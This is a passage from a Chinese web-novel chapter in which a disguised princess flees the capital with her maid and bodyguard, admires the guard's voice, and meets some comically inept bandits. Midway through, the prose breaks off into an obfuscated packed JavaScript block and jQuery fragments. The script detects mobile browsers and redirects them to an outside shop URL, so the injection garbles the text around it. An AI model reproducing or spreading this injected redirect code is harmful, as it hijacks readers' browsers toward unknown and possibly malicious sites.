砚辞望着她依赖的模样,心头一软,垂在身侧的手几不可查地动了动,终是轻轻应了一声:“属下遵命。”
他不敢多作停留,此刻每一分每一秒都关乎殿下的安全,转身便利落退出正厅内,去安排车马、路线与一应隐秘事宜。
不过一个时辰,砚辞便已将一切安排妥当。
角门外停着一辆再普通不过的青布骡车,车厢窄小却结实,无任何华贵纹饰,混在京城寻常车马里毫不起眼。
车夫也是砚辞安排在府外的暗卫同侪,身手利落,嘴严心细。
对京城内外的隐秘小路了如指掌,只需一个眼神便能领会心意,绝不会泄露半分行踪。
车内备好了干粮、水囊、充足的碎银与银票。
青禾也手脚麻利地收拾好了行囊,给姜悦璃备了三套素色粗布衣裙,灰扑扑的颜色,半点看不出金枝玉叶的模样。
首饰珠翠一概没带,只揣了几样小巧的碎银荷包,方便路上花销。
一切准备就绪时,夜色已彻底笼罩了京城,连绵阴雨收了些,变成细细的雨雾,正好遮掩行踪。
姜悦璃换上浅灰色布裙,长发简单挽成一个发髻,插一根木簪,脸上未施粉黛。
褪去公主华服后,少了几分骄矜,多了几分邻家少女的娇俏,别说陌生人,就算是宫中熟人迎面撞上,也未必能一眼认出。
青禾一身深灰布衣,低着头温顺乖巧,活脱脱一个普通侍女。
砚辞则换了一身藏青劲装,腰间佩剑,一看便是身手利落的护卫。
三人一前一后,从公主府偏僻的角门悄声走出,没有惊动任何人。
“上车。”
砚辞伸手,稳稳扶住她的手腕,指尖轻轻托住她的手肘,动作小心,生怕她踩滑廊下的积水。
姜悦璃顺势搭着他的手,弯腰钻进骡车,软乎乎的指尖不经意擦过他的掌心。
砚辞耳尖又是一红,飞快收回手,转身对车夫低低吩咐了一句:“走侧门小路,出城。”
车夫闻言无声颔首,手中鞭子轻扬,却并未发出半点凌厉声响,只轻轻擦过骡耳,示意动身。
青禾紧随姜悦璃身后钻进车厢,顺手将车帘拢得严实,只留一丝微不可查的缝隙用来观察外头动静。
车厢内狭小却干净,铺着一层薄毯,隔绝了外头的湿冷潮气。
姜悦璃蜷坐在角落,指尖无意识摩挲着膝上粗布衣裙,脸上虽依旧带着几分娇蛮雀跃,心底却已飞快盘算起江南的堤防布局与抢险步骤。
非洲荒原上那些与洪水博弈的日夜,此刻都化作了最扎实的底气。
砚辞并未上车,而是翻身一跃,坐在了车夫身旁的外侧位置。
车夫同是暗卫,两人无需多言,一个眼神便能互通心意,配合得默契无间。
骡车轱轳前行,压过湿漉漉的青石板路,避开主街人流,专挑偏僻小巷穿行。
京城的灯火在雨雾中晕开朦胧光晕,渐渐被甩在身后。
行至城门侧门,守夜士卒早已打着哈欠昏昏欲睡,见是一辆寻常百姓家的青布骡车,本就没放在心上。
车夫提前递过备好的通行文书,言辞恭谨,只说是回乡探亲赶夜路,士卒随意扫了两眼,便挥挥手放了行。
一出京城地界,道路陡然崎岖,骡车微微颠簸。
姜悦璃下意识往前一倾,手腕忽然被人稳稳扣住。
砚辞几乎是身形一动便掠到车帘前,长臂一伸便将她扶住,掌心温度透过粗布传来,沉稳有力。
“殿下小心,路况不好。”他低沉的声音,在雨夜里格外动听。
姜悦璃被他稳稳扶住,鼻尖先撞上一缕清浅干净的松木气息,混着雨夜的微凉,再抬头时,正好撞进他垂落的目光里。
他那句低沉又清润的“殿下小心,路况不好”轻轻落在耳中,像一颗温凉的玉珠滚过心尖,酥酥麻麻的。
姜悦璃脑子里忽然一顿。
不对啊……他们朝夕相处这么久,她怎么从来没发现,砚辞的声音这么好听?
不是那种刻意张扬的清朗,也不是低沉过头的沙哑,是少年人变声期过后独有的质感,干净、稳实,又带着点暗卫特有的低哑克制。
雨夜一衬,清冽得像山涧泉水,听得人耳朵微微发烫。
她心里瞬间疯狂尖叫——
耳朵要怀孕了吧!这音色也太绝了!
纯纯欣赏,半点杂念都没有,就是单纯被这突如其来的好声音戳中了,连心跳都莫名快了半拍。
她怔怔看着他,一时忘了应声。
砚辞见她发呆,还以为是方才颠簸吓着了,指尖不自觉又轻轻托了托她的手腕,力道更稳了些:“殿下?可是哪里不舒服?”
这一声更近,尾音轻轻扫过耳畔。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233996|197652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
姜悦璃瞬间回神,飞快别开眼,耳尖先悄悄红了一小片,嘴上还强撑着平日里的娇蛮,语气却软了几分:“没、没有,就是车子颠了一下而已。”
她说着飞快抽回手,缩回车里坐好,心脏还在不争气地轻轻跳。
砚辞望着她略显慌乱的背影,耳尖也微微泛红,愣了一瞬才轻跃回车前,重新与车夫并肩坐好。
车厢里,青禾疑惑地看了她一眼:“殿下,您脸怎么红红的?是不是冷呀?”
姜悦璃连忙捂住脸颊,干咳一声,眼神飘忽:“哪有,是车里太闷了……对,太闷了。”
嘴上嘴硬,心里却还在疯狂回味刚才那一句——
完了完了,这声音也太好听了吧,一路听下去,耳朵真的会怀孕啊!
她悄悄撩开一点点车帘,看了一眼外头雨夜中的身影,心里默默感慨。
相处这么久,她居然才发现,自家这位忠心暗卫,不光身手好、长得好看,连声音都这么绝。
骡车刚驶入一段山林小路,雨雾更浓,四下漆黑一片,唯有车轮碾过泥地的闷响。
两旁树木枝桠交错,影影绰绰,本就偏僻的山道越走越静,静得能听见雨滴打在树叶上的沙沙声。
姜悦璃正靠着车壁走神,脑子里还在循环播放砚辞刚才那句低音,忽然车身猛地一顿,停了下来。
“谁?!”
车夫低喝一声,声音瞬间绷紧。
下一秒,几道粗哑的哄笑划破雨夜,十几个个手持棍棒刀斧的壮汉从树后窜出,堵死了前后去路。
为首的男人脸上一道刀疤,凶神恶煞,挺着肚子往前一站,结结巴巴地吼道:
“打、打打打打……打、打劫!”
这一句破了音的打劫,愣是把凶狠的气氛破得一干二净。
青禾本来吓得浑身发抖,一听这磕磕巴巴的台词,没忍住“噗”地一声,又赶紧捂住嘴,憋得肩膀直抖。
姜悦璃也挑了挑眉,差点笑出声——这劫匪,业务也太不熟练了吧。
刀疤脸劫匪自己也憋得脸红,粗声粗气地给自己找补:
“笑、笑什么笑!赶紧把银子、行李通通留下!不然别怪老子心狠手辣!”
身后几个跟班也跟着咋呼,挥舞着手里的刀棍,装出一副凶神恶煞的样子,可那虚张声势的模样,怎么看都像是临时凑起来的乌合之众。